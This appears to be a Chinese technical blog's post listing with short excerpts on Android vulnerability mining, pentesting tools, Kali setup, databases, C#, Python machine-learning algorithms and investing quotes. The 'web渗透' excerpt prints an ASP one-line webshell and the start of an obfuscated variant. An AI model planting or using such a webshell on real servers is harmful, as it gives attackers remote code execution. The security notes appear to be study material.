- 博客(33)
- 收藏
- 关注
原创 程序分析:Android漏洞挖掘技术
Android漏洞挖掘技术静态分析(控制流分析、数据流分析、结构分析)、动态分析、污点传播分析过程内分析、过程间分析(函数调用)漏洞挖掘开源工具:FlowDroid、AppAduit 、TaintDroid、AppIntent反编译:Apk=>伪代码=>三地址码Apktool(apk转换为smali)-dex2jar(dex转换为ja...
2019-04-18 17:12:27
2228
原创 移动端渗透
手机安装KaLi:Android(root权限)+Linux deploy+connectbot+ vnc/rdp远程桌面精灵运行linux deploy>设置软件语言>发行版本kali/发行版本号sanassh ip 127.0.0.1 端口默认22VNC ip地址127.0.0.1 端口5900默认账号android 密码changemeAndroid远控:Dr...
2019-04-18 17:11:58
1273
原创 SSM框架Dao层基础封装文件
SSM框架基础封装:BaseDao(IBaseDao)、BaseActionIBaseDao--BaseDao:package com.hfxt.dao.impl;import java.io.Serializable;import java.math.BigInteger;import java.util.HashMap;import java.util.List;i...
2019-04-18 17:11:42
627
原创 罗辑思维
2016 话题:生物学进化思维 互联网转型 资本荒:创业者 资本 两只妖股:产业|资本 O2O大战:收费经济>免费经济>补贴经济>资本合并 IP:自身吸引力 社交2017五只黑天鹅:用户红利时代>精耕细作时代 ...
2019-01-02 14:40:55
957
原创 数据库-MySQL
登陆管理:mysql -u<root> -p<password>管理数据库:增: create database 数据库名 default character set 字符集;修: alter database 数据库名 default character set 新的字符集;删: drop database 数据库名;查: show databases...
2018-12-24 12:30:51
219
1
原创 C#-SQL Server
-- 事务begin transaction 增删改事务 if(@myError = 0) begin commit end else begin rollback ...
2018-12-23 18:26:39
193
原创 C#基础
using System; //命名空间using System.Collections.Generic; // using 命名空间.类名using System.Linq;using System.Text;using System.Threading.Tasks;namespace ConsoleApp1 //项目名称{ class Program ...
2018-12-23 18:15:15
500
原创 web渗透
asp一句话木马:<%execute(request("value"))%><%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&&qu
2018-12-22 20:35:44
804
原创 渗透测试常用工具
### nump ###Nmap四种最基本扫描方式:TCP connect()端口扫描、TCP同步(SYN)端口扫描、UDP端口扫描、Ping扫描namp –[sT] TCP扫描 –[sS]TCP同步扫描 –[sU] UDP扫描 –[sP] ping扫描 –[p] 扫描端口(0-100) –[O] 主机### Nessus:登录>新建策略(添加所需插件程序)>新建扫描任务 ...
2018-12-22 20:33:33
726
原创 系统安装
虚拟机(VM)安装:VMware/ VirtualBox虚拟机网络模式:仅主机模式(只与宿主互联)、NAT(借助宿主机器访问)、桥接(独立主机)物理机安装:BOIS(Legacy/UEFI) MBR(主引导记录,硬盘第一个扇区) GRUB(引导程序,多启动)Linx(主分区|逻辑分区)DOS(主分区...
2018-12-22 16:57:07
275
原创 python-常用机器学习算法-逻辑回归
#Logistic Regressiondef sigmoid(inX): return 1.0/(1+exp(-inX))def gradAscent(dataMatIn, classLabels): dataMatrix = mat(dataMatIn) #convert to NumPy matrix labelMat = mat(clas...
2018-12-22 16:49:54
215
原创 Python-常用机器学习算法-K-means
'''创建k个点作为初始的质心点(随机选择)当任意一个点的簇分配结果发生改变时 对数据集中的每一个数据点 对每一个质心 计算质心与数据点的距离 将数据点分配到距离最近的簇 对每一个簇,计算簇中所有点的均值,并将均值作为质心'''...
2018-12-22 16:46:01
259
原创 Python-常用机器学习算法-决策树
def chooseBestFeatureToSplit(dataSet): numFeatures = len(dataSet[0]) - 1 #the last column is used for the labels baseEntropy = calcShannonEnt(dataSet) bestInfoGain = 0.0; bestFeat...
2018-12-22 16:45:21
255
原创 Python-常用机器学习算法-贝叶斯算法
# 输入trainMatrix是样本数据向量化之后的结果,trainCategory是样本数据的类别标签(0,1,0,0,1,0,1,1.....)def trainNB0(trainMatrix,trainCategory): numTrainDocs = len(trainMatrix) numWords = len(trainMatrix[0]) # 求A类别的总概率...
2018-12-22 16:12:47
311
原创 python-常用机器学习算法-KNN
#knn算法核心def knnclassify0(inX, dataSet, labels, k): #inX待分类向量 dataSet样本数据 labels标签类别 k值(前k个最近邻居) dataSetSize = dataSet.shape[0] diffMat = tile(inX, (dataSetSize,1)) - dataSet sqDiffMa...
2018-12-22 16:11:48
208
原创 Pyhon数据分析-Numpy基本操作
import numpy as npA = numpy.array([ [],[],[],…]) #numpy数组=矩阵A[:,1] #取第二列#创建数组<矩阵> 数组(即矩阵)的维度被称为axes,维数称为 ranknp.arange(num).reshape(m,n) #一维数组转变为(m,n)矩阵np.linspace #随机数字矩阵num...
2018-12-22 15:08:06
209
原创 Python爬虫
urllib爬取数据:import urllib #urllib爬虫模块import re #正则模块import time #def get = GetHtml(url): page = urlib.urlopen(url) html = page.read() return htmldef getImg(html):# imglist ...
2018-12-22 15:05:32
154
原创 股票大作手
来自股票大作手的股市名言 1. 股市上今天发生的事,过去曾经发生过,将来也会再次发生。 2. 绝不要平摊亏损,一定要牢牢记住这个原则。 3. 在价格进入到一个明显的趋势之后,它将一直沿着贯穿其整个趋势的特定路线而自动运行。 4. “罗马不是一天建成的”,真正重大的趋势不会在一天或一个星期就结束,它走完自身的逻辑过程需要时间。重要的是,市场运动的一个很大部分是发生在整...
2018-12-19 19:14:49
521
原创 Buffett投资理念
在别人贪婪的时候恐惧,在别人恐惧的时候贪婪。找到杰出公司:经营稳健、讲究诚信、分红回报高的企业;而对于总想利用配股、增发等途径榨取投资者血汗的企业一概拒之门外 好公司的两个标准:它做的事情别人做不了、它做的事情自己可以重复做少就是多:集中投资, 重仓持有少量股票把大赌注压在高概率事件上:当一个事情成功的可能性很大时,你投入越多,回报越大要有耐心:不要频频换手,直到有...
2018-10-12 15:55:06
213
原创 02_常用Linux命令
Linux命令:service --status -all start/restart 【服务状态】pstree -a【进程派生关系】-l【显示树状图】-h【列数列图】-u【显示用户名】-n【显示程序识别码】systemctl enable/disable httpd.service 【使某个服务启用/不启用】sys...
2018-08-02 15:21:15
199
原创 01_Kali Linux环境搭建
Kali Linux环境:硬盘安装/USB驱动器安装(Win32 Disk Imager写入|UNetbootin启动)、树莓派安装、虚拟机安装、ssh登录(连接工具xshell)### 虚拟机安装:VM + Kali.iso ####安装VMTools: cp /mnt/VMwareTools-version.tar.gz /tmp tar zxf vmware-linux-to...
2018-08-02 15:00:07
283
原创 Python渗透测试
python环境:python+KaliLinux虚拟机+WingIDEpython网络编程(TCP客户端/UDP客户端-TCP客户端)-netcat(TCP/UDP连接)-TCP代理-Paramiko使用SSH### 取代netcat ####!/usr/bin/python#-*- coding:utf8 -*-import sys, socket, getopt, thr...
2018-08-01 09:26:35
1469
原创 08_网络爬虫
原理:httpRequest-->新闻服务器--DOM文档-->爬虫应用--DOM解析--数据库 网络爬虫之DOM解析:Document--Element--Elementsjsoup:html解析器;导入jsoup-1.6.3.jar网络爬虫的步骤://1 网络请求 请求URL //2 得到DOM文档 Document document = Jso...
2018-07-25 21:48:43
178
原创 07_企业框架
Model(javabean技术)-View(jsp技术)-Control(servlet技术)entity层-dao层(Hibernate/MyBatis)-service层(Spring)-web层(Struts2/SpringMVC)SSH(Hibernate+Spring+Struts2)-SSM(MyBatis+Spring+SpringMVC)HibernateEJ...
2018-07-25 21:48:22
697
原创 06_MVC项目实战
MVC项目实战 V C M 视图(View) 控制器(Controller) 模型(Model) Jsp、EL和JSTL、html、css、js servlet JavaBean 接收用户的输入(表...
2018-07-25 21:48:10
683
原创 05_JSP/Servlet技术
程序架构:C/S架构(客户端Client/服务器Server)>B/S架构(浏览器Browser/服务器)B/S架构:请求/响应交互(浏览器<>服务器-应用服务器<>数据库服务器)统一资源定位符URL(协议/主机/资源位置/参数)-资源描述符URI(Http请求) http://localhost:8080(主机端口)/myweb(网站)/test....
2018-07-25 21:48:01
443
原创 04_数据库
数据到内存(无法永久保存)>数据到文件(效率低)>数据到DB软件(永久保存/查询管理)数据库软件(存储管理数据的仓库):基于关系(Oracle-MySql-SQLServer-DB2)-基于基于对象 mangoDB(noSQL)MySql数据库MySql安装(zip/msi)>CMD命令/MySql客户端管理工具(navicat/sqlyog)(数据库名>基...
2018-07-25 21:47:53
222
原创 03_Web编程
HTMLHTML:超文本标记语言,Hyper Text Markup LangageW3C标准:万维网联盟,World Wide Web Consorttium 结构化标准语言(XHTML、XML)、表现标准语言(CSS)、行为标准(DOM、ECMAScript)HTML语义化:对文本内容进行结构化或标识;见名知义网页开发软件:txt记事本、EditPlus、DreamW...
2018-07-25 21:47:44
155
原创 02_Java面向对象
面对对象程序设计(Object-oriented Programming,OOP)抽象过程:底层机器>汇编语言(对底层机器的轻微抽象)>C/BASIC命令式语言(对汇编的抽象)问题空间>>编程语言(面向过程/面向对象)>>解空间(机器模型)Smalltalk面向对象语言五个特性:万物皆对象:将对象视为奇特的变量,存储数据程序是对象的集合,它们...
2018-07-25 21:47:33
250
原创 01_Java基础
Java发展史:Java平台体系结构:JavaSE/J2SE/桌面级-JavaME/J2ME/嵌入式-JavaEE/J2EE/企业级Java主要特性:跨平台|强面向对象|分布式|解释执行|可移植|多线程Java虚拟机(跨平台):Write Once,Run AnywhereJava源代码>(编译器)字节码文件>JVM(Java虚拟机)>Windows|Linu...
2018-07-25 21:47:24
224
原创 ENG Note 2 : 语料
万能谓语:尽力做某事(主谓结构句):Try one’s bestDo one’s utmostExhaust every effort in one’s powerSpare no effort to do sth.Develop one’s potential to the full to do sth.不得不做某事: Have to/Be forced to/
2017-06-18 14:18:17
320
原创 ENG Note 1 : 英语写作模板
英语写作模板:引入==>论证(论点、论据)==>呼应第一段的写法:引入(第一句)-引起关注(第二句) Just as an old proverb says,where there is cooperation,there is success.(题干) This saying does trigger a heated discussion on web,an i...
2017-06-18 10:42:42
1337
原创 ML Note : Octave
Octave Command>>Disp()显示>>pwd显示安装路径>>who/whos显示存储的工作变量>>exit/quit退出注释:%运算符:+、-、*、/、==、~=、&&、||、xor变量:>>a=3 %打印输出>>a=3; %不打印输出>>A=[1 2; 3 4] %2*2矩阵>>V=[1 2] %行向量>>V=[1; 2]
2017-06-15 08:16:49
214
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人